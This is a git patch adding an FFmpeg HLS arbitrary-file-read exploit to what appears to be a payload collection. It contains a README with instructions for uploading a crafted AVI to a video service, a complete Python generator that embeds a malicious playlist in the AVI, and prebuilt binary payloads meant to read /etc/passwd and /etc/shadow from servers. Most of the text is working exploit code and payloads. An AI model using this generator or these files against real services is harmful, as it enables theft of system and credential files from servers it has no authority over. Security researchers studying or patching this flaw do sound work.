From 220e9cb8bd218b6d719bb4d15f02646add8d1024 Mon Sep 17 00:00:00 2001 From: Swissky Date: Mon, 26 Jun 2017 21:32:10 +0200 Subject: [PATCH] FFMpeg HLS - read passwd/shadow --- Upload insecure files/Ffmpeg HLS/README.md | 16 ++ .../Ffmpeg HLS/gen_xbin_avi.py | 150 ++++++++++++++++++ .../Ffmpeg HLS/read_passwd.avi | Bin 0 -> 340643 bytes .../Ffmpeg HLS/read_shadow.avi | Bin 0 -> 342262 bytes 4 files changed, 166 insertions(+) create mode 100644 Upload insecure files/Ffmpeg HLS/README.md create mode 100755 Upload insecure files/Ffmpeg HLS/gen_xbin_avi.py create mode 100644 Upload insecure files/Ffmpeg HLS/read_passwd.avi create mode 100644 Upload insecure files/Ffmpeg HLS/read_shadow.avi diff --git a/Upload insecure files/Ffmpeg HLS/README.md b/Upload insecure files/Ffmpeg HLS/README.md new file mode 100644 index 0000000..e8f5b85 --- /dev/null +++ b/Upload insecure files/Ffmpeg HLS/README.md @@ -0,0 +1,16 @@ +# FFmpeg HLS vulnerability +FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. + +## Exploits +``` +1. `./gen_xbin_avi.py file:// file_read.avi` +2. Upload `file_read.avi` to some website that processes videofiles +3. (on server side, done by the videoservice) `ffmpeg -i file_read.avi output.mp4` +4. Click "Play" in the videoservice. +5. If you are lucky, you'll the content of `` from the server. +``` + +## Thanks to +* [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831) +* [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) +* [Script by @neex](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py) diff --git a/Upload insecure files/Ffmpeg HLS/gen_xbin_avi.py b/Upload insecure files/Ffmpeg HLS/gen_xbin_avi.py new file mode 100755 index 0000000..8a758d8 --- /dev/null +++ b/Upload insecure files/Ffmpeg HLS/gen_xbin_avi.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +import struct +import argparse +import random +import string + +AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" + +ECHO_TEMPLATE = """### echoing {needed!r} +#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv} +#EXTINF:1, +#EXT-X-BYTERANGE: 16 +/dev/zero +#EXT-X-KEY: METHOD=NONE +""" + +# AES.new('\x00'*16).decrypt('\x00'*16) +GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:' + +FULL_PLAYLIST = """#EXTM3U +#EXT-X-MEDIA-SEQUENCE:0 +{content} +#### random string to prevent caching: {rand} +#EXT-X-ENDLIST""" + +EXTERNAL_REFERENCE_PLAYLIST = """ + +#### External reference: reading {size} bytes from {filename} (offset {offset}) +#EXTINF:1, +#EXT-X-BYTERANGE: {size}@{offset} +{filename} + + +""" + +XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' + + +def echo_block(block): + assert len(block) == 16 + iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)])) + return ECHO_TEMPLATE.format(needed=block, iv=iv) + + +def gen_xbin_sync(): + seq = [] + for i in range(60): + if i % 2: + seq.append(0) + else: + seq.append(128 + 64 - i - 1) + for i in range(4, 0, -1): + seq.append(128 + i - 1) + seq.append(0) + seq.append(0) + for i in range(12, 0, -1): + seq.append(128 + i - 1) + seq.append(0) + seq.append(0) + return seq + + +def test_xbin_sync(seq): + for start_ind in range(64): + path = [start_ind] + cur_ind = start_ind + while cur_ind < len(seq): + if seq[cur_ind] == 0: + cur_ind += 3 + else: + assert seq[cur_ind] & (64 + 128) == 128 + cur_ind += (seq[cur_ind] & 63) + 3 + path.append(cur_ind) + assert cur_ind == len(seq), "problem for path {}".format(path) + + +def echo_seq(s): + assert len(s) % 16 == 0 + res = [] + for i in range(0, len(s), 16): + res.append(echo_block(s[i:i + 16])) + return ''.join(res) + + +test_xbin_sync(gen_xbin_sync()) + +SYNC = echo_seq(gen_xbin_sync()) + + +def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3): + content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii') + packet = b'00tx' + struct.pack(' 0: + packet_size -= 16 + assert packet_size > 0 + part_size = min(packet_size, 64) + packet_size -= part_size + result.append(echo_block(gen_xbin_packet_header(part_size))) + result.append( + EXTERNAL_REFERENCE_PLAYLIST.format( + size=part_size, + offset=offset, + filename=filename)) + offset += part_size + return ''.join(result), offset + + +def gen_xbin_playlist(filename_to_read): + pls = [echo_block(XBIN_HEADER)] + next_delta = 5 + for max_offs, filename in ( + (5000, filename_to_read), (500, "file:///dev/zero")): + offset = 0 + while offset < max_offs: + for _ in range(10): + pls_part, new_offset = gen_xbin_packet_playlist( + filename, offset, 0xf0 - next_delta) + pls.append(pls_part) + next_delta = 0 + offset = new_offset + pls.append(SYNC) + return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join( + random.choice(string.ascii_lowercase) for i in range(30))) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator') + parser.add_argument( + 'filename', + help='filename to be read from the server (prefix it with "file://")') + parser.add_argument('output_avi', help='where to save the avi') + args = parser.parse_args() + assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)" + content = gen_xbin_playlist(args.filename) + avi = make_playlist_avi(content) + output_name = args.output_avi + + with open(output_name, 'wb') as f: + f.write(avi) diff --git a/Upload insecure files/Ffmpeg HLS/read_passwd.avi b/Upload insecure files/Ffmpeg HLS/read_passwd.avi new file mode 100644 index 0000000000000000000000000000000000000000..4d206378f255e4f9be5f2a08d90eac3e029e7d2e GIT binary patch literal 340643 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 literal 0 HcmV?d00001 diff --git a/Upload insecure files/Ffmpeg HLS/read_shadow.avi b/Upload insecure files/Ffmpeg HLS/read_shadow.avi new file mode 100644 index 0000000000000000000000000000000000000000..c251c2abb96a8239b3f0af029bb7fced348008ca GIT binary patch literal 342262 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 WLxLf}kYGqKBo&j2NyWdRRQ!KWJY}{3 literal 0 HcmV?d00001